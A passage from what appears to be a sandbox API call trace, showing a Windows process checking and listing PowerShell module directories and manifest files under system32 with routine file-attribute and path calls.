(lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.ni.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.ni.dll")) returned 0xffffffff [0204.885] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Modules.dll" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\modules.dll")) returned 0xffffffff [0204.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x40 [0204.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", nBufferLength=0x40, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer", lpFilePart=0x0) returned 0x3f [0204.885] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.885] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\BitsTransfer" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\bitstransfer"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0204.885] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3e [0204.885] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", nBufferLength=0x3e, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets", lpFilePart=0x0) returned 0x3d [0204.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.886] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\CimCmdlets" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\cimcmdlets"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0204.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", nBufferLength=0x37, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE", lpFilePart=0x0) returned 0x36 [0204.886] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.886] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\ISE" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\ise"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.886] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.886] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0204.887] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", nBufferLength=0x50, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive", lpFilePart=0x0) returned 0x4f [0204.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.887] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Archive" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.archive"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.887] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.887] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x54 [0204.887] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", nBufferLength=0x54, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics", lpFilePart=0x0) returned 0x53 [0204.887] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.887] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Diagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.diagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4d [0204.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", nBufferLength=0x4d, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host", lpFilePart=0x0) returned 0x4c [0204.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.888] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Host" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.host"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.888] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0204.888] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", nBufferLength=0x53, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management", lpFilePart=0x0) returned 0x52 [0204.888] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.888] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x53 [0204.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", nBufferLength=0x53, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils", lpFilePart=0x0) returned 0x52 [0204.889] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.889] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.ODataUtils" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.odatautils"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496cfce0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496cfce0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496cfce0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0204.889] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.889] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0204.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", nBufferLength=0x51, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security", lpFilePart=0x0) returned 0x50 [0204.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.890] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Security" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.security"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0204.890] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0204.890] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.890] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.890] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.891] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4e [0204.891] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", nBufferLength=0x4e, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management", lpFilePart=0x0) returned 0x4d [0204.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.891] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.WSMan.Management" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.wsman.management"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x498007e0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x498007e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x498007e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.891] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.891] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4f [0204.891] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", nBufferLength=0x4f, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration", lpFilePart=0x0) returned 0x4e [0204.891] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.891] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDesiredStateConfiguration" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdesiredstateconfiguration"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x497da680, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x497da680, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0204.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.892] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0204.892] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", nBufferLength=0x41, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics", lpFilePart=0x0) returned 0x40 [0204.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.892] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSDiagnostics" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psdiagnostics"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8100bf6e, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8100bf6e, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.892] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.892] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x42 [0204.892] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", nBufferLength=0x42, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob", lpFilePart=0x0) returned 0x41 [0204.892] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.893] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\PSScheduledJob" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\psscheduledjob"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.893] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x47 [0204.893] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", nBufferLength=0x47, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack", lpFilePart=0x0) returned 0x46 [0204.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8e78c) returned 1 [0204.893] GetFileAttributesExW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\TroubleshootingPack" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\troubleshootingpack"), fInfoLevelId=0x0, lpFileInformation=0x5a8ea50 | out: lpFileInformation=0x5a8ea50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x800df312, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x1e4bcac7, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1e4bcac7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0204.893] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e788) returned 1 [0204.893] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a8ea3c) returned 1 [0204.893] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x50 [0204.893] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", nBufferLength=0x50, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility", lpFilePart=0x0) returned 0x4f [0204.894] FindFirstFileW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\*", lpFindFileData=0x5a8e7ec | out: lpFindFileData=0x5a8e7ec*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5b2de48 [0204.894] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x496f5e40, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x496f5e40, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x496f5e40, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0204.894] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2d1d80, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e2d1d80, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f20f74b, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x982, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psd1", cAlternateFileName="")) returned 1 [0204.894] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 1 [0204.894] FindNextFileW (in: hFindFile=0x5b2de48, lpFindFileData=0x5a8e7f4 | out: lpFindFileData=0x5a8e7f4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e285ac0, ftCreationTime.dwHighDateTime=0x1d706a9, ftLastAccessTime.dwLowDateTime=0x8e285ac0, ftLastAccessTime.dwHighDateTime=0x1d706a9, ftLastWriteTime.dwLowDateTime=0x2f214576, ftLastWriteTime.dwHighDateTime=0x1d21d40, nFileSizeHigh=0x0, nFileSizeLow=0x7778, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Utility.psm1", cAlternateFileName="")) returned 0 [0204.894] FindClose (in: hFindFile=0x5b2de48 | out: hFindFile=0x5b2de48) returned 1 [0204.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8e7ac) returned 1 [0204.895] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5a8ea0c) returned 1 [0204.895] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\modules\\microsoft.powershell.utility\\microsoft.powershell.utility.psd1")) returned 0x20 [0204.895] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x72 [0204.895] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", nBufferLength=0x72, lpBuffer=0x5bd230, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Utility\\Microsoft.PowerShell.Utility.psd1", lpFilePart=0x0) returned 0x71 [0204.895] GetFullPathNameW (in: 